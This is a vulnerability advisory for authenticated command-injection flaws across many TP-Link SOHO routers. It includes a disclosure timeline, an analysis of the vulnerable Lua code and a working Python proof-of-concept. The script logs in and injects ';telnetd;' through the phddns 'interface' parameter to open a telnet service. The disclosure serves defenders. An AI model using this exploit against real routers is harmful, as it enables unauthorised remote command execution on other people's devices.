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Vulnerability/CVE-2017-15613_to_CVE-2017-15637.txt
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| Multiple vulnerabilities in TP-Link products(CVE-2017-15613 to CVE-2017-15637) | |
| Introduction: | |
| ================ | |
| The WVR-, WAR- and ER- products are the SOHO/WIFI routers of TP-Link. | |
| These issues allow remote authenticated administrators to execute arbitrary commands via command injection through different variables of different lua files. | |
| If the attacker obtains the account and password of the router, then he can execute the arbitrary command through this command injection vulnerability. | |
| These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled). | |
| Vulnerability Type: | |
| ================ | |
| Command Injection (Authenticated) | |
| Product: | |
| ================ | |
| We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306). | |
| And the following model should also be affected and the vendor has confirmed: | |
| TP-Link ER5110G, | |
| TP-Link ER5120G, | |
| TP-Link ER5510G, | |
| TP-Link ER5520G, | |
| TP-Link R4149G, | |
| TP-Link R4239G, | |
| TP-Link R4299G, | |
| TP-Link R473GP-AC, | |
| TP-Link R473G, | |
| TP-Link R473P-AC, | |
| TP-Link R473, | |
| TP-Link R478G+, | |
| TP-Link R478, | |
| TP-Link R478+, | |
| TP-Link R483G, | |
| TP-Link R483, | |
| TP-Link R488, | |
| TP-Link WAR1300L, | |
| TP-Link WAR1750L, | |
| TP-Link WAR2600L, | |
| TP-Link WAR302, | |
| TP-Link WAR450L, | |
| TP-Link WAR450, | |
| TP-Link WAR458L, | |
| TP-Link WAR458, | |
| TP-Link WAR900L, | |
| TP-Link WVR1300G, | |
| TP-Link WVR1300L, | |
| TP-Link WVR1750L, | |
| TP-Link WVR2600L, | |
| TP-Link WVR300, | |
| TP-Link WVR302, | |
| TP-Link WVR4300L, | |
| TP-Link WVR450L, | |
| TP-Link WVR450, | |
| TP-Link WVR458L, | |
| TP-Link WVR900G, | |
| TP-Link WVR900L | |
| CVE details: | |
| ================ | |
| The detail of each vulnerability are as follows: | |
| CVE-2017-15613: new-interface variable in the cmxddns.lua file | |
| CVE-2017-15614: new-outif variable in the pptp_client.lua file | |
| CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file | |
| CVE-2017-15616: new-interface variable in the phddns.lua file | |
| CVE-2017-15617: iface variable in the interface_wan.lua file | |
| CVE-2017-15618: new-enable variable in the pptp_client.lua file | |
| CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file | |
| CVE-2017-15620: new-zone variable in the ipmac_import.lua file | |
| CVE-2017-15621: olmode variable in the interface_wan.lua file | |
| CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file | |
| CVE-2017-15623: new-enable variable in the pptp_server.lua file | |
| CVE-2017-15624: new-authtype variable in the pptp_server.lua file | |
| CVE-2017-15625: new-olmode variable in the pptp_client.lua file | |
| CVE-2017-15626: new-bindif variable in the pptp_server.lua file | |
| CVE-2017-15627: new-pns variable in the pptp_client.lua file | |
| CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file | |
| CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file | |
| CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file | |
| CVE-2017-15631: new-workmode variable in the pptp_client.lua file | |
| CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file | |
| CVE-2017-15633: new-ipgroup variable in the session_limits.lua file | |
| CVE-2017-15634: name variable in the wportal.lua file | |
| CVE-2017-15635: max_conn variable in the session_limits.lua file | |
| CVE-2017-15636: new-time variable in the webfilter.lua file | |
| CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file | |
| Credits: | |
| ================ | |
| chunibalon, puzzor @VARAS of IIE | |
| Timeline: | |
| ================ | |
| 2017.08 to 2017.09: Issues found. | |
| 2017.09.26: Vendor contacted. | |
| 2017.10.13: Vendor confirmed. | |
| 2017.10.14: CVE id requested. | |
| 2017.10.19: CVE id assigned. | |
| 2018.1: Vendor confirmed that all effected products have been fixed. | |
| Vulnerability detail: | |
| ================ | |
| These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616. | |
| Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file. | |
| In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113: | |
| *********************************** | |
| function add_phddns(http_form) | |
| local form_data = json.decode(http_form.data) | |
| local jdata = form_data.params.new | |
| ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil) | |
| if not ret then | |
| return false, err.ERR_COM_TABLE_ITEM_UCI_ADD | |
| end | |
| if not uci_r:commit(CONFIG_NAME) then | |
| return false, err.ERR_COM_UCI_COMMIT | |
| end | |
| -- add the ref of interface | |
| ifs.update_if_reference(jdata.interface, 1) | |
| sys.fork_exec('/etc/init.d/phddns restart') | |
| userconfig.cfg_modify() | |
| return jdata | |
| end | |
| *********************************** | |
| This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns". | |
| The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently. | |
| Then the malformed value of "interface" argument causes the command injection vulnerability. | |
| PoC file: | |
| ================ | |
| *********************************** | |
| import requests | |
| import urllib | |
| import json | |
| # This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616. | |
| # To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin' | |
| PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406' | |
| BASEURL = 'http://192.168.123.1' | |
| LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login' | |
| MARK = '###' | |
| VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK) | |
| headers = { | |
| "Accept": "application/json, text/javascript, */*; q=0.01", | |
| "Accept-Encoding": "gzip, deflate", | |
| "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4", | |
| "Connection": "keep-alive", | |
| "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", | |
| "Host": BASEURL[7:], | |
| "Origin": BASEURL, | |
| "Referer": "%s/webpages/login.html" % (BASEURL), | |
| "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", | |
| "X-Requested-With": "XMLHttpRequest" | |
| } | |
| login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}} | |
| login_data = {'data':json.dumps(login_data_value)} | |
| s = requests.Session() | |
| s.headers.update(headers) | |
| print (LOGINURL) | |
| print (login_data) | |
| res = s.post(LOGINURL, data=login_data) | |
| stok = eval(res.text)['result']['stok'] | |
| print '[*] stok is %s' % (stok) | |
| tmp_vul = VULURL.replace(MARK, stok) | |
| print '[*] vul_url is %s ' % (tmp_vul) | |
| delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}} | |
| delete_data = {'data': json.dumps(delete_data)} | |
| print '[+] delete existed rule' | |
| res = s.post(tmp_vul, data=delete_data) | |
| print '[*] response is: %s' % (res.text) | |
| # after executing this payload, the router will open its telnetd service. | |
| payload = ''';telnetd;''' | |
| vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}} | |
| vul_data = {'data': json.dumps(vul_data)} | |
| print '[+] sending payload' | |
| res = s.post(tmp_vul, data=vul_data) | |
| print '[*] response is: %s' % (res.text) | |
| *********************************** | |